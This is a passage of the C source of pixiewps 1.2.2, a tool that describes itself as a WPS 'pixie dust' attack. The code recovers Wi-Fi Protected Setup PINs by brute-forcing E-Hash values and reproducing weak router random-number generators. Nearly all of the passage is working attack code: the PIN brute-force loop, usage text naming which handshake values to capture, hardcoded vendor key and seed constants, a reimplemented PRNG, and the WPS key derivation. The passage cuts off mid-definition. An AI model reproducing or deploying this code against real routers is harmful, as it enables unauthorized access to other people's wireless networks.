c_second_half = second_half * 10 + checksum_digit; uint_to_char_array(c_second_half, 4, s_pin); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, 4, wps->psk2); memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result); if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { second_half++; } else { second_half = c_second_half; found = 1; break; } } /* Testing without checksum digit */ if (!found) { second_half = 0; while (second_half < 10000) { /* If already tested skip */ if (wps_pin_valid(first_half * 10000 + second_half)) { second_half++; continue; } uint_to_char_array(second_half, 4, s_pin); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, 4, wps->psk2); memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result); if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { second_half++; } else { found = 1; break; } } } } free(buffer); free(result); *pin = first_half * 10000 + second_half; return !found; /* 0 success, 1 failure */ } pixiewps-1.2.2/src/pixiewps.h000066400000000000000000000170711276270077300162150ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #ifndef PIXIEWPS_H #define PIXIEWPS_H /* Modes constants */ #define NONE 0 #define RT 1 #define ECOS_SIMPLE 2 #define RTL819x 3 #define ECOS_SIMPLEST 4 /* Not tested */ #define ECOS_KNUTH 5 /* Not tested */ /* Modes constants */ #define MODE_LEN 5 #define MODE3_DAYS 3 #define MODE3_TRIES 3 #define SEC_PER_DAY 86400 /* Exit costants */ #define PIN_FOUND 0 #define PIN_ERROR 1 #define MEM_ERROR 2 #define ARG_ERROR 3 #include #include #include #include "utils.h" #if defined(DEBUG) # define DEBUG_PRINT(fmt, args...); fprintf(stderr, "\n [DEBUG] %s:%d:%s(): " fmt, \ __FILE__, __LINE__, __func__, ##args); fflush(stdout); # define DEBUG_PRINT_ARRAY(b, l); byte_array_print(b, l); fflush(stdout); #else # define DEBUG_PRINT(fmt, args...) # define DEBUG_PRINT_ARRAY(b, l) #endif uint_fast8_t p_mode[MODE_LEN] = { 0 }; const char *p_mode_name[MODE_LEN + 1] = { "", "RT/MT", "eCos simple", "RTL819x", "eCos simplest", "eCos Knuth" }; const uint8_t wps_rtl_pke[] = { 0xD0,0x14,0x1B,0x15, 0x65,0x6E,0x96,0xB8, 0x5F,0xCE,0xAD,0x2E, 0x8E,0x76,0x33,0x0D, 0x2B,0x1A,0xC1,0x57, 0x6B,0xB0,0x26,0xE7, 0xA3,0x28,0xC0,0xE1, 0xBA,0xF8,0xCF,0x91, 0x66,0x43,0x71,0x17, 0x4C,0x08,0xEE,0x12, 0xEC,0x92,0xB0,0x51, 0x9C,0x54,0x87,0x9F, 0x21,0x25,0x5B,0xE5, 0xA8,0x77,0x0E,0x1F, 0xA1,0x88,0x04,0x70, 0xEF,0x42,0x3C,0x90, 0xE3,0x4D,0x78,0x47, 0xA6,0xFC,0xB4,0x92, 0x45,0x63,0xD1,0xAF, 0x1D,0xB0,0xC4,0x81, 0xEA,0xD9,0x85,0x2C, 0x51,0x9B,0xF1,0xDD, 0x42,0x9C,0x16,0x39, 0x51,0xCF,0x69,0x18, 0x1B,0x13,0x2A,0xEA, 0x2A,0x36,0x84,0xCA, 0xF3,0x5B,0xC5,0x4A, 0xCA,0x1B,0x20,0xC8, 0x8B,0xB3,0xB7,0x33, 0x9F,0xF7,0xD5,0x6E, 0x09,0x13,0x9D,0x77, 0xF0,0xAC,0x58,0x07, 0x90,0x97,0x93,0x82, 0x51,0xDB,0xBE,0x75, 0xE8,0x67,0x15,0xCC, 0x6B,0x7C,0x0C,0xA9, 0x45,0xFa,0x8D,0xD8, 0xD6,0x61,0xBE,0xB7, 0x3B,0x41,0x40,0x32, 0x79,0x8D,0xAD,0xEE, 0x32,0xB5,0xDD,0x61, 0xBF,0x10,0x5F,0x18, 0xD8,0x92,0x17,0x76, 0x0B,0x75,0xC5,0xD9, 0x66,0xA5,0xA4,0x90, 0x47,0x2C,0xEB,0xA9, 0xE3,0xB4,0x22,0x4F, 0x3D,0x89,0xFB,0x2B }; const uint8_t rtl_rnd_seed[] = { 0x52,0x65,0x61,0x6c, 0x74,0x65,0x6b,0x20, 0x57,0x69,0x46,0x69, 0x20,0x53,0x69,0x6d, 0x70,0x6c,0x65,0x2d, 0x43,0x6f,0x6e,0x66, 0x69,0x67,0x20,0x44, 0x61,0x65,0x6d,0x6f, 0x6e,0x20,0x70,0x72, 0x6f,0x67,0x72,0x61, 0x6d,0x20,0x32,0x30, 0x30,0x36,0x2d,0x30, 0x35,0x2d,0x31,0x35 }; struct global { uint8_t *pke; uint8_t *pkr; uint8_t *e_hash1; uint8_t *e_hash2; uint8_t *authkey; uint8_t *e_nonce; uint8_t *r_nonce; uint8_t *psk1; uint8_t *psk2; uint8_t *dhkey; uint8_t *kdk; uint8_t *wrapkey; uint8_t *emsk; uint8_t *e_s1; uint8_t *e_s2; uint8_t *e_bssid; time_t start; time_t end; uint8_t small_dh_keys; uint8_t mode_auto; uint8_t bruteforce; int verbosity; char *error; char *warning; }; char usage[] = "\n" " Pixiewps %s WPS pixie dust attack tool\n" " Copyright (c) 2015-2016, wiire \n" "\n" " Usage: %s \n" "\n" " Required Arguments:\n" "\n" " -e, --pke : Enrollee public key\n" " -r, --pkr : Registrar public key\n" " -s, --e-hash1 : Enrollee hash-1\n" " -z, --e-hash2 : Enrollee hash-2\n" " -a, --authkey : Authentication session key\n" " -n, --e-nonce : Enrollee nonce\n" "\n" " Optional Arguments:\n" "\n" " -m, --r-nonce : Registrar nonce\n" " -b, --e-bssid : Enrollee BSSID\n" " -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n" " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n" "\n" " -h : Display this usage screen\n" " --help : Verbose help and more usage examples\n" " -V, --version : Displays version\n" "\n" " --mode N[,... N] : Mode selection, comma separated [Auto]\n" " --start [mm/]yyyy : Starting date (only mode 3) [Current time]\n" " --end [mm/]yyyy : Ending date (only mode 3) [-3 days]\n" "\n" " Example:\n" "\n" " pixiewps -e -r -s -z -a -n \n" "%s"; char v_usage[] = "\n" " Pixiewps %s WPS pixie dust attack tool\n" " Copyright (c) 2015-2016, wiire \n" "\n" " Description of arguments:\n" "\n" " -e, --pke\n" "\n" " Enrollee DH public key, found in M1.\n" "\n" " -r, --pkr\n" "\n" " Registrar DH public key, found in M2. It can be avoided by specifying " "--dh-small in both Reaver and Pixiewps.\n" "\n" " [?] pixiewps -e -s -z -a -n -S\n" "\n" " -s, --e-hash1\n" "\n" " Enrollee hash-1, found in M3.\n" "\n" " -z, --e-hash2\n" "\n" " Enrollee hash-2, found in M3.\n" "\n" " -a, --authkey\n" "\n" " Authentication session key. Although for this parameter a modified version of " "Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman " "keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.\n" "\n" " [?] pixiewps -e -s -z -S -n -m -b \n" "\n" " -n, --e-nonce\n" "\n" " Enrollee's nonce, found in M1.\n" "\n" " -m, --r-nonce\n" "\n" " Registrar's nonce, found in M2.\n" "\n" " -b, --e-bssid\n" "\n" " Enrollee's BSSID.\n" "\n" " -S, --dh-small\n" "\n" " Small Diffie-Hellman keys. The same option MUST be specified in Reaver " "(1.3 or later versions) too. This option DOES NOT WORK (currently) with mode 3.\n" "\n" " --mode N[,... N]\n" "\n" " Select modes, comma separated (experimental modes are not used unless specified):\n" "\n" " 1 (%s)\n" " 2 (%s)\n" " 3 (%s)\n" " 4 (%s) [Experimental]\n" " 5 (%s) [Experimental]\n" "\n" " --start [mm/]yyyy\n" " --end [mm/]yyyy\n" "\n" " Starting and ending dates for mode 3. They are interchangeable. " "If only one is specified, the machine current time will be used for the other. " "The earliest possible date is 01/1970 corresponding to 0 (Epoch time).\n" "\n"; /* One digit comma separated number parsing */ inline uint_fast8_t parse_mode(char *list, uint_fast8_t *dst, const uint8_t max_digit) { uint_fast8_t cnt = 0; while (*list != 0) { if (*list <= ((char) max_digit) + '0') { dst[cnt] = *list - '0'; cnt++; list++; } if (*list != 0) { if (*list == ',') list++; else return 1; } } return 0; } /* Checks if passed mode is selected */ inline uint_fast8_t is_mode_selected(const uint_fast8_t mode) { for (uint_fast8_t i = 0; p_mode[i] != NONE && i < MODE_LEN; i++) { if (p_mode[i] == mode) return 1; } return 0; } #endif /* PIXIEWPS_H */ pixiewps-1.2.2/src/random_r.c000066400000000000000000000267311276270077300161440ustar00rootroot00000000000000/* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * duplicated in all such forms and that any documentation, * advertising materials, and other materials related to such * distribution and use acknowledge that the software was developed * by the University of California, Berkeley. The name of the * University may not be used to endorse or promote products derived * from this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ /* * This is derived from the Berkeley source: * @(#)random.c 5.5 (Berkeley) 7/6/88 * It was reworked for the GNU C Library by Roland McGrath. * Rewritten to be reentrant by Ulrich Drepper, 1995 */ #include #include #include #include /* #include */ #if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__)) # include # if defined(BSD) || defined(__APPLE__) && defined(__MACH__) /* Nothing to include */ # else # include # endif #endif #include "random_r.h" /* An improved random number generation package. In addition to the standard rand()/srand() like interface, this package also has a special state info interface. The initstate() routine is called with a seed, an array of bytes, and a count of how many bytes are being passed in; this array is then initialized to contain information for random number generation with that much state information. Good sizes for the amount of state information are 32, 64, 128, and 256 bytes. The state can be switched by calling the setstate() function with the same array as was initialized with initstate(). By default, the package runs with 128 bytes of state information and generates far better random numbers than a linear congruential generator. If the amount of state information is less than 32 bytes, a simple linear congruential R.N.G. is used. Internally, the state information is treated as an array of longs; the zeroth element of the array is the type of R.N.G. being used (small integer); the remainder of the array is the state information for the R.N.G. Thus, 32 bytes of state information will give 7 longs worth of state information, which will allow a degree seven polynomial. (Note: The zeroth word of state information also has some other information stored in it; see setstate for details). The random number generation technique is a linear feedback shift register approach, employing trinomials (since there are fewer terms to sum up that way). In this approach, the least significant bit of all the numbers in the state table will act as a linear feedback shift register, and will have period 2^deg - 1 (where deg is the degree of the polynomial being used, assuming that the polynomial is irreducible and primitive). The higher order bits will have longer periods, since their values are also influenced by pseudo-random carries out of the lower bits. The total period of the generator is approximately deg*(2**deg - 1); thus doubling the amount of state information has a vast influence on the period of the generator. Note: The deg*(2**deg - 1) is an approximation only good for large deg, when the period of the shift register is the dominant factor. With deg equal to seven, the period is actually much longer than the 7*(2**7 - 1) predicted by this formula. */ /* For each of the currently supported random number generators, we have a break value on the amount of state information (you need at least this many bytes of state info to support this random number generator), a degree for the polynomial (actually a trinomial) that the R.N.G. is based on, and separation between the two lower order coefficients of the trinomial. */ /* Linear congruential. */ #define TYPE_0 0 #define BREAK_0 8 #define DEG_0 0 #define SEP_0 0 /* x**7 + x**3 + 1. */ #define TYPE_1 1 #define BREAK_1 32 #define DEG_1 7 #define SEP_1 3 /* x**15 + x + 1. */ #define TYPE_2 2 #define BREAK_2 64 #define DEG_2 15 #define SEP_2 1 /* x**31 + x**3 + 1. */ #define TYPE_3 3 #define BREAK_3 128 #define DEG_3 31 #define SEP_3 3 /* x**63 + x + 1. */ #define TYPE_4 4 #define BREAK_4 256 #define DEG_4 63 #define SEP_4 1 /* Array versions of the above information to make code run faster. Relies on fact that TYPE_i == i. */ #define MAX_TYPES 5 /* Max number of types above. */ struct random_poly_info { /* smallint seps[MAX_TYPES]; */ /* smallint degrees[MAX_TYPES]; */ unsigned char seps[MAX_TYPES]; unsigned char degrees[MAX_TYPES]; }; static const struct random_poly_info random_poly_info = { { SEP_0, SEP_1, SEP_2, SEP_3, SEP_4 }, { DEG_0, DEG_1, DEG_2, DEG_3, DEG_4 } }; /* If we are using the trivial TYPE_0 R.N.G., just do the old linear congruential bit. Otherwise, we do our fancy trinomial stuff, which is the same in all the other cases due to all the global variables that have been set up. The basic operation is to add the number at the rear pointer into the one at the front pointer. Then both pointers are advanced to the next location cyclically in the table. The value returned is the sum generated, reduced to 31 bits by throwing away the "least random" low bit. Note: The code takes advantage of the fact that both the front and rear pointers can't wrap on the same call by not testing the rear pointer if the front one has wrapped. Returns a 31-bit random number. */ void random_r(struct random_data *buf, int32_t *result) { int32_t *state; /* if (buf == NULL || result == NULL) */ /* goto fail; */ state = buf->state; if (buf->rand_type == TYPE_0) { int32_t val = state[0]; val = ((state[0] * 1103515245) + 12345) & 0x7fffffff; state[0] = val; *result = val; } else { int32_t *fptr = buf->fptr; int32_t *rptr = buf->rptr; int32_t *end_ptr = buf->end_ptr; int32_t val; val = *fptr += *rptr; /* Chucking least random bit. */ *result = (val >> 1) & 0x7fffffff; ++fptr; if (fptr >= end_ptr) { fptr = state; ++rptr; } else { ++rptr; if (rptr >= end_ptr) rptr = state; } buf->fptr = fptr; buf->rptr = rptr; } /* return 0; */ /* fail: */ /* __set_errno (EINVAL); */ /* return -1; */ } /* libc_hidden_def(random_r) */ /* Initialize the random number generator based on the given seed. If the type is the trivial no-state-information type, just remember the seed. Otherwise, initializes state[] based on the given "seed" via a linear congruential generator. Then, the pointers are set to known locations that are exactly rand_sep places apart. Lastly, it cycles the state information a given number of times to get rid of any initial dependencies introduced by the L.C.R.N.G. Note that the initialization of randtbl[] for default usage relies on values produced by this routine. */ int srandom_r (unsigned int seed, struct random_data *buf) { int type; int32_t *state; long int i; long int word; int32_t *dst; int kc; if (buf == NULL) goto fail; type = buf->rand_type; if ((unsigned int) type >= MAX_TYPES) goto fail; state = buf->state; /* We must make sure the seed is not 0. Take arbitrarily 1 in this case. */ if (seed == 0) seed = 1; state[0] = seed; if (type == TYPE_0) goto done; dst = state; word = seed; kc = buf->rand_deg; for (i = 1; i < kc; ++i) { /* This does: state[i] = (16807 * state[i - 1]) % 2147483647; but avoids overflowing 31 bits. */ long int hi = word / 127773; long int lo = word % 127773; word = 16807 * lo - 2836 * hi; if (word < 0) word += 2147483647; *++dst = word; } buf->fptr = &state[buf->rand_sep]; buf->rptr = &state[0]; kc *= 10; while (--kc >= 0) { int32_t discard; (void) random_r (buf, &discard); } done: return 0; fail: return -1; } /* libc_hidden_def(srandom_r) */ /* Initialize the state information in the given array of N bytes for future random number generation. Based on the number of bytes we are given, and the break values for the different R.N.G.'s, we choose the best (largest) one we can and set things up for it. srandom is then called to initialize the state information. Note that on return from srandom, we set state[-1] to be the type multiplexed with the current value of the rear pointer; this is so successive calls to initstate won't lose this information and will be able to restart with setstate. Note: The first thing we do is save the current state, if any, just like setstate so that it doesn't matter when initstate is called. Returns a pointer to the old state. */ int initstate_r (unsigned int seed, char *arg_state, size_t n, struct random_data *buf) { int type; int degree; int separation; int32_t *state; if (buf == NULL) goto fail; if (n >= BREAK_3) type = n < BREAK_4 ? TYPE_3 : TYPE_4; else if (n < BREAK_1) { if (n < BREAK_0) { /* __set_errno (EINVAL); */ goto fail; } type = TYPE_0; } else type = n < BREAK_2 ? TYPE_1 : TYPE_2; degree = random_poly_info.degrees[type]; separation = random_poly_info.seps[type]; buf->rand_type = type; buf->rand_sep = separation; buf->rand_deg = degree; state = &((int32_t *) arg_state)[1]; /* First location. */ /* Must set END_PTR before srandom. */ buf->end_ptr = &state[degree]; buf->state = state; srandom_r (seed, buf); state[-1] = TYPE_0; if (type != TYPE_0) state[-1] = (buf->rptr - state) * MAX_TYPES + type; return 0; fail: /* __set_errno (EINVAL); */ return -1; } /* libc_hidden_def(initstate_r) */ /* Restore the state from the given state array. Note: It is important that we also remember the locations of the pointers in the current state information, and restore the locations of the pointers from the old state information. This is done by multiplexing the pointer location into the zeroth word of the state information. Note that due to the order in which things are done, it is OK to call setstate with the same state as the current state Returns a pointer to the old state information. */ int setstate_r (char *arg_state, struct random_data *buf) { int32_t *new_state = 1 + (int32_t *) arg_state; int type; int old_type; int32_t *old_state; int degree; int separation; if (arg_state == NULL || buf == NULL) goto fail; old_type = buf->rand_type; old_state = buf->state; if (old_type == TYPE_0) old_state[-1] = TYPE_0; else old_state[-1] = (MAX_TYPES * (buf->rptr - old_state)) + old_type; type = new_state[-1] % MAX_TYPES; if (type < TYPE_0 || type > TYPE_4) goto fail; buf->rand_deg = degree = random_poly_info.degrees[type]; buf->rand_sep = separation = random_poly_info.seps[type]; buf->rand_type = type; if (type != TYPE_0) { int rear = new_state[-1] / MAX_TYPES; buf->rptr = &new_state[rear]; buf->fptr = &new_state[(rear + separation) % degree]; } buf->state = new_state; /* Set end_ptr too. */ buf->end_ptr = &new_state[degree]; return 0; fail: /* __set_errno (EINVAL); */ return -1; } /* libc_hidden_def(setstate_r) */ pixiewps-1.2.2/src/random_r.h000066400000000000000000000031661276270077300161460ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #ifndef RANDOM_R_H #define RANDOM_R_H #include struct random_data { int32_t *fptr; /* Front pointer */ int32_t *rptr; /* Rear pointer */ int32_t *state; /* Array of state values */ int rand_type; /* Type of random number generator */ int rand_deg; /* Degree of random number generator */ int rand_sep; /* Distance between front and rear */ int32_t *end_ptr; /* Pointer behind state table */ }; void random_r(struct random_data *buf, int32_t *result); int srandom_r(unsigned int seed, struct random_data *buf); int initstate_r(unsigned int seed, char *arg_state, size_t n, struct random_data *buf); int setstate_r(char *arg_state, struct random_data *buf); #endif /* RANDOM_R_H */ pixiewps-1.2.2/src/utils.h000066400000000000000000000117531276270077300155060ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #ifndef UTILS_H #define UTILS_H #include #include #include #include /* Converts an hex string to a byte array */ unsigned int hex_string_to_byte_array(char *in, uint8_t *out, const unsigned int n_len) { uint_fast8_t o; unsigned int len = strlen(in); unsigned int b_len = n_len * 2 + n_len - 1; if (len != n_len * 2 && len != b_len) return 1; for (unsigned int i = 0; i < n_len; i++) { o = 0; for (uint_fast8_t j = 0; j < 2; j++) { o <<= 4; if (*in >= 'A' && *in <= 'F') *in += 'a'-'A'; if (*in >= '0' && *in <= '9') o += *in - '0'; else if (*in >= 'a' && *in <= 'f') o += *in - 'a' + 10; else return 1; in++; }; *out++ = o; if (len == b_len) { if (*in == ':' || *in == '-' || *in == ' ' || *in == 0) in++; else return 1; } } return 0; }; /* Converts a string into an integer */ int get_int(char *in, int *out) { int i, o = 0, len = strlen(in); for (i = 0; i < len; i++) { if ('0' <= *in && *in <= '9') o = o * 10 + *in - '0'; else return 1; in++; }; *out = o; return 0; }; /* Custom timegm function made by Eric S Raymond */ time_t c_timegm(register struct tm *t) { register long year; register time_t result; #define MONTHS_PER_YEAR 12 /* Months per calendar year */ static const int cumdays[MONTHS_PER_YEAR] = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 }; year = 1900 + t->tm_year + t->tm_mon / MONTHS_PER_YEAR; result = (year - 1970) * 365 + cumdays[t->tm_mon % MONTHS_PER_YEAR]; result += (year - 1968) / 4; result -= (year - 1900) / 100; result += (year - 1600) / 400; if ((year % 4) == 0 && ((year % 100) != 0 || (year % 400) == 0) && (t->tm_mon % MONTHS_PER_YEAR) < 2) { result--; } result += t->tm_mday - 1; result *= 24; result += t->tm_hour; result *= 60; result += t->tm_min; result *= 60; result += t->tm_sec; if (t->tm_isdst == 1) result -= 3600; return result; } /* Converts a [mm/]yyyy string to Unix date time */ unsigned int get_unix_datetime(char *s, time_t *datetime) { unsigned int len = strlen(s); int month = 0, year; struct tm t; if (len == 4) { if (get_int(s, &year)) return 1; } else if (len == 7) { if (s[2] != '/' && s[2] != '-' && s[2] != '.') return 1; char s_month[3]; char s_year[5]; if (s[0] == '0') { s_month[0] = s[1]; s_month[1] = 0; } else { s_month[0] = s[0]; s_month[1] = s[1]; s_month[2] = 0; } s_year[0] = s[3]; s_year[1] = s[4]; s_year[2] = s[5]; s_year[3] = s[6]; s_year[4] = 0; if (get_int(s_month, &month) || get_int(s_year, &year)) return 1; if ((year < 1970 && year > 2037) || (month < 1 && month > 12)) return 1; } else { return 1; } t.tm_sec = 0; t.tm_min = 0; t.tm_hour = 0; t.tm_mday = 1; t.tm_mon = month - 1; t.tm_year = year - 1900; t.tm_isdst = 0; *datetime = c_timegm(&t); if (*datetime < 0) return 1; return 0; } /* Returns the difference of time between the two in milliseconds */ unsigned long get_elapsed_ms(struct timeval *start, struct timeval *end) { return (((end->tv_sec - start->tv_sec) * 1000000 + (end->tv_usec - start->tv_usec)) / 1000); } /* Converts an unsigned integer to a char array without termination */ inline void uint_to_char_array(unsigned int num, unsigned int len, uint8_t *dst) { unsigned int mul = 1; while (len--) { dst[len] = (num % (mul * 10) / mul) + '0'; mul *= 10; } } /* Prints a byte array in hexadecimal */ void byte_array_print(const uint8_t *buffer, const unsigned int length) { unsigned int i; for (i = 0; i < length; i++) { printf("%02x", buffer[i]); if (i != length - 1) printf(":"); } } /* Converts a 32 Little Endian bit number to its Big Endian representation */ uint32_t h32_to_be(const uint32_t num) { uint32_t tmp = num; uint32_t res; uint32_t b0, b1, b2, b3; unsigned int i = 1; char *p = (char *) &i; if (p[0] == 1) { /* LE */ b0 = (tmp & 0x000000ff) << 24; b1 = (tmp & 0x0000ff00) << 8; b2 = (tmp & 0x00ff0000) >> 8; b3 = (tmp & 0xff000000) >> 24; res = b0 | b1 | b2 | b3; } else { /* BE */ res = num; } return res; } #endif /* UTILS_H */ pixiewps-1.2.2/src/version.h000066400000000000000000000020251276270077300160230ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #ifndef VERSION_H #define VERSION_H #define SHORT_VERSION "1.2" #define LONG_VERSION "1.2.2" #endif /* VERSION_H */ pixiewps-1.2.2/src/wps.h000066400000000000000000000100031276270077300151420ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #ifndef WPS_H #define WPS_H /* WPS constants */ #define WPS_PKEY_LEN 192 #define WPS_HASH_LEN 32 #define WPS_AUTHKEY_LEN 32 #define WPS_EMSK_LEN 32 #define WPS_KEYWRAPKEY_LEN 16 #define WPS_NONCE_LEN 16 #define WPS_SECRET_NONCE_LEN 16 #define WPS_PSK_LEN 16 #define WPS_BSSID_LEN 6 #include #include #include "pixiewps.h" #include "config.h" #include "utils.h" /* Diffie-Hellman group */ static const uint8_t dh_group5_generator[1] = { 0x02 }; static const uint8_t dh_group5_prime[192] = { 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF, 0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34, 0xC4,0xC6,0x62,0x8B, 0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08, 0x8A,0x67,0xCC,0x74, 0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22, 0x51,0x4A,0x08,0x79, 0x8E,0x34,0x04,0xDD, 0xEF,0x95,0x19,0xB3, 0xCD,0x3A,0x43,0x1B, 0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37, 0x4F,0xE1,0x35,0x6D, 0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76, 0x62,0x5E,0x7E,0xC6, 0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B, 0x0B,0xFF,0x5C,0xB6, 0xF4,0x06,0xB7,0xED, 0xEE,0x38,0x6B,0xFB, 0x5A,0x89,0x9F,0xA5, 0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6, 0x49,0x28,0x66,0x51, 0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8, 0xA1,0x63,0xBF,0x05, 0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A, 0x69,0x16,0x3F,0xA8, 0xFD,0x24,0xCF,0x5F, 0x83,0x65,0x5D,0x23, 0xDC,0xA3,0xAD,0x96, 0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB, 0x9E,0xD5,0x29,0x07, 0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E, 0x4A,0xBC,0x98,0x04, 0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27, 0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF }; /* Wi-Fi Easy and Secure Key Derivation */ static const uint8_t kdf_salt[] = { 0x57,0x69,0x2D,0x46, 0x69,0x20,0x45,0x61, 0x73,0x79,0x20,0x61, 0x6E,0x64,0x20,0x53, 0x65,0x63,0x75,0x72, 0x65,0x20,0x4B,0x65, 0x79,0x20,0x44,0x65, 0x72,0x69,0x76,0x61, 0x74,0x69,0x6F,0x6E }; /* Key Derivation Function */ void kdf(const void *key, uint8_t *res) { const uint32_t kdk_len = (WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN) * 8; uint_fast8_t j = 0; uint8_t *buffer = malloc(sizeof(kdf_salt) + sizeof(uint32_t) * 2); for (uint32_t i = 1; i < 4; i++) { uint32_t be = h32_to_be(i); memcpy(buffer, &be, sizeof(uint32_t)); memcpy(buffer + sizeof(uint32_t), kdf_salt, sizeof(kdf_salt)); be = h32_to_be(kdk_len); memcpy(buffer + sizeof(uint32_t) + sizeof(kdf_salt), &be, sizeof(uint32_t)); hmac_sha256(key, WPS_HASH_LEN, buffer, sizeof(kdf_salt) + sizeof(uint32_t) * 2, res + j); j += WPS_HASH_LEN; } free(buffer); } /* Pin checksum computing */ inline uint_fast8_t wps_pin_checksum(uint_fast32_t pin) { unsigned int acc = 0; while (pin) { acc += 3 * (pin % 10); pin /= 10; acc += pin % 10; pin /= 10; } return (10 - acc % 10) % 10; } /* Validity PIN control based on checksum */ inline uint_fast8_t wps_pin_valid(uint_fast32_t pin) { return wps_pin_checksum(pin / 10) == (pin % 10); } /* Checks if PKe == 2 */ inline uint_fast8_t 